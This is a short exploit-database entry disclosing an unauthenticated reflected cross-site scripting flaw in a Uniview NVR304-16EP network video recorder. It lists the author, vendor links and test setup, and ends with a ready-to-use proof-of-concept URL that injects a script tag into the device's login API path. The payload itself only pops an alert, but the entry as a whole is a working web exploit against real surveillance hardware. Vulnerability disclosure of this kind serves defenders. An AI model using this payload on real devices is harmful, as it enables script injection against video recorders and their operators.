Network Video Recorder NVR304-16EP - Reflected Cross-Site Scripting (XSS) (Unauthenticated)

# Exploit Title: Network Video Recorder NVR304-16EP - Reflected Cross-Site Scripting (XSS) (Unauthenticated)
# Author: Luis Martinez
# Discovery Date: 2022-02-13
# Vendor Homepage: https://www.uniview.com/Products/NVR/Easy/NVR304-S-P/#~Product%20features
# Datasheet of NVR304-S-P: https://www.uniview.com/download.do?id=1819568
# Tested Version: NVR304-16EP
# Tested on: Windows 10 Pro 21H2 x64 es - Firefox 91.6.0esr
# Vulnerability Type: Reflected Cross-Site Scripting (XSS)
# CVE: N/A

# Proof of Concept:

http://IP/LAPI/V1.0/System/Security/Login/"><script>alert('XSS')</script>